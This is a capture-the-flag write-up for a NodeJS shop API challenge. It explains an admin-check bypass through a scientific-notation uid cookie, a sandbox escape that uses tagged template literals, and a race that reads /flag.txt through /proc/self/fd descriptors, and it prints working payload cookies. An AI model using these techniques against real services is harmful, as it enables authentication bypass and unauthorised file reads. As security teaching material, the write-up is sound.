Score: 953/1000
Challenge Description
Description
huh, yet another NodeJS challenge…
Download source code from here
Writeup
In this challenge, the goal was to find a vulnerability in the API of an unnamed shop and read the flag located in /flag.txt.
The API supports logging in, registering, adding an order to your cart, and checking that order out.
To keep track of the identity of the user, the API uses the following cookies:
- uid - The uid received on registration.
- passwd - A hash of the password you registered with.
- order - The current state of your order.
What’s an order?
The term “order” doesn’t really make sense in the context of this challenge. The only thing that matters is that we have full control over the order, as it’s being sent by us as a cookie.
let order = req.cookies.order
...
req.userOrder = order
What happens when we are checking out?
You might have noticed the following line, at the end of the checkout function:
result = new String(vm.run(`sum([${req.userOrder}])`))
It seems our order is being evaluated inside a sandbox. We might be able to escape that sandbox, once we understand how to run code inside it.
Reaching the Sandbox
To reach it we need to pass some if clauses.
First, we need to be logged in, and have an existing order as a cookie:
if(req.userUid == -1 || !req.userOrder)
return res.json({ error: true, msg: "Login first" })
Second, we need to be authenticated as the user with uid 0, and our order should not contain the char (:
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))
return res.json({ error: true, msg: "You can't do this sorry" })
In addition, there is also a rate limit:
if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()){
return res.json({ error: true, msg: 'too fast'})
Everything here seems reasonable, except for being logged in as the user with uid 0.
This account is the first one created, which happens to be the account of the admin:
users.add({ username: "admin", password: hashPasswd(rand()), uid: lastUid++ })
Bypassing the Admin Validation
But don’t fear! There is a way to bypass the admin validation. Look at the authentication logic:
req.userUid = -1
req.userOrder = ""
let order = req.cookies.order
let uid = req.cookies.uid
let passwd = req.cookies.passwd
if(uid == undefined || passwd == undefined)
return next()
let found = false
for(let e of users.entries())
if(e[0].uid == uid && e[0].password == passwd) // Our uid is being checked here
found = true
if(found){
req.userUid = uid
req.userOrder = order
}
next()
Compared to the validation inside checkout:
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))
return res.json({ error: true, msg: "You can't do this sorry" })
Noticed something interesting?
In the validation inside checkout there is an extra call to parseInt.
The uid cookie is passed as a string to the backend. When comparing it against a number, it’s being juggled (=evaluated) as a float, but when calling parseInt the server is parsing it as an int.
So if we can find a valid float
uidwhich evaluates as0when we callparseInt, we can login using the password for our account, AND pass the validation incheckout!!!
To do so, we can use a scientific notation, or e-notation.
What’s Scientific Notation?
Scientific notation is a way of expressing extremely large and small numbers.
Using it, it’s possible to express numbers like 5000000 as 5 * 10⁶, or as 5e6. Both expressions evaluate to the same number.
Let’s say the uid we registered with is 9. We can represent it as 0.9 * 10¹, or as 0.9e1.
When our uid cookie is being checked in the authentication phase, it’s being evaluated as 9, since "0.9e1" == 0.9e1 == 9
if(e[0].uid == "0.9e1" && e[0].password == passwd) // "0.9e1" == 0.9e1 == 9
But we also pass the validation in checkout, because parseInt("0.9e1") == 0:
if(parseInt(req.userUid) != 0 || req.userOrder.includes("(")) // We pass this validation since parseInt("0.9e1") == 0
So to bypass the admin validation, we need to send the following cookie instead of the legitimate one: uid=0.9e1.
Notice the malicious uid should change according to the legitimate uid of the user you own.
For example, if the uid was 12, you should set the malicious cookie to uid=0.12e2.
The Sandbox
We are now able to execute code inside the sandbox! In case you already forgot, it looks like this:
result = new String(vm.run(`sum([${req.userOrder}])`))
And we have control over the req.userOrder variable.
But we face a few limitations:
- The
req.userOrdervariable cannot contain the char(. - There is a timeout of 20 milliseconds for the sandbox.
- The only non-default functions available to us are these:
readFile: (path)=>{
path = new String(path).toString()
if(fs.statSync(path).size == 0)
return null
let r = fs.readFileSync(path)
if(!path.includes('flag'))
return r
return null
},
sum: (args)=>args.reduce((a,b)=>a+b),
getFlag: _=>{
// return flag
return secretMessage
}
It would be perfect if we were able to call readFile and get the flag, but there is a check that doesn’t allow us to get the content of any file containing flag in its path.
Calling a Function
Because we can’t use an opening parenthesis (, we need to call functions by using tagged template literals.
Basically, it’s possible to call functions like this:
console.log`1`
getFlag``
readFile`/etc/passwd`
So we can set our order cookie to order=getFlag`` :
// cookie: order=getFlag``
result = new String(vm.run(`sum([${req.userOrder}])`))
result = new String(vm.run(`sum([getFlag``])`))
And it prints out the secretMessage, which is padoru padoru.
But we aren’t interested in anime, so we need to find a way to get the flag.
Getting the Flag from the Sandbox
Notice we can read every file the app user has permissions to read, as long as it doesn’t contain flag in its path.
For example, we can read /etc/passwd.
// cookie: order=readFile`/etc/passwd`
result = new String(vm.run(`sum([${req.userOrder}])`))
result = new String(vm.run('sum([readFile`/etc/passwd`])'))
Is there a way to reference the /flag.txt file without explicitly using its name?
Yes there is! To understand how, you first need to be familiar with these two concepts: The /proc Filesystem and File Descriptors
Basically, the /proc filesystem is a directory containing information about running processes (and some other stuff, not relevant for now).
File descriptors are unique integer IDs, specific to each process, each pointing to a different open file in the kernel (and some other stuff, not relevant for now).
A file descriptor is created when a file is opened, AND DELETED WHEN THE FILE IS EXPLICITLY CLOSED. This will be important later.
Inside the /proc filesystem there is a folder for each PID, in which you can find another folder named fd, that contains all the file descriptors that exist at the moment for the process.
Try it for yourself, open a linux machine and execute:
ls -al /proc/1/fd
You can now see all the file descriptors that exist for the process with the PID 1.
Notice that in the /proc filesystem the file descriptors are represented as links to the original files.
So reading /proc/1/fd/3 will actually read the file that the file descriptor 3 in the process with the PID 1 is associated with.
That means that if a process on the machine is accessing
/flag.txtat the moment, it has a file descriptor pointing to it. We can then read the flag from the path:/proc/{PID}/fd/{FD}
What process is reading /flag.txt?
Notice in readFile:
readFile: (path)=>{
path = new String(path).toString()
if(fs.statSync(path).size == 0)
return null
let r = fs.readFileSync(path)
if(!path.includes('flag'))
return r
return null
}
The path we give to the readFile function is read anyway, even if the path contains flag. This means that even if we can’t read the contents of /flag.txt directly, we can still invoke the creation of a file descriptor by running readFile('/flag.txt').
We won’t be able to get the output, but it would create a file descriptor pointing to /flag.txt, within the nodejs process.
The Solution
So the plan is:
- Start a thread that constantly tries to read the flag. It won’t succeed, but it will be creating those precious file descriptors in
/proc/self/fd. - Immediately start another thread, that tries to read all the files in
/proc/self/fd. - Continue doing steps 1 and 2 until it works.
The order cookie in the file descriptor creation thread:
a = _=> { return readFile`/flag.txt` + readFile`/flag.txt` + readFile`/flag.txt` + readFile`/flag.txt` + readFile`/flag.txt` + readFile`/flag.txt` + a`` }, a``
It creates a function named a, which uses recursion to keep trying to read /flag.txt.
The order cookie in the file descriptor reader thread:
readFile`/proc/self/fd/0`, readFile`/proc/self/fd/1`, readFile`/proc/self/fd/2`, readFile`/proc/self/fd/3`, readFile`/proc/self/fd/4`, readFile`/proc/self/fd/5`, readFile`/proc/self/fd/6`, readFile`/proc/self/fd/7`, readFile`/proc/self/fd/8`, readFile`/proc/self/fd/9`, readFile`/proc/self/fd/10`, readFile`/proc/self/fd/11`, readFile`/proc/self/fd/12`, readFile`/proc/self/fd/13`, readFile`/proc/self/fd/14`, readFile`/proc/self/fd/15`, readFile`/proc/self/fd/16`, readFile`/proc/self/fd/17`, readFile`/proc/self/fd/18`, readFile`/proc/self/fd/19`, readFile`/proc/self/fd/20`, readFile`/proc/self/fd/21`, readFile`/proc/self/fd/22`, readFile`/proc/self/fd/23`, readFile`/proc/self/fd/24`, readFile`/proc/self/fd/25`, readFile`/proc/self/fd/26`, readFile`/proc/self/fd/27`, readFile`/proc/self/fd/28`
And yes, there is probably a better way to implement the file descriptor reader using loops, but it works.
Because the threads start immediately, there’s sometimes a race condition in the rate limiter validation, that allows us to pass it and run two instances of checkout at the same time.
Either that, or something about my implementation sometimes causes the file descriptor to never close, which works as well.
Solution script: solution.py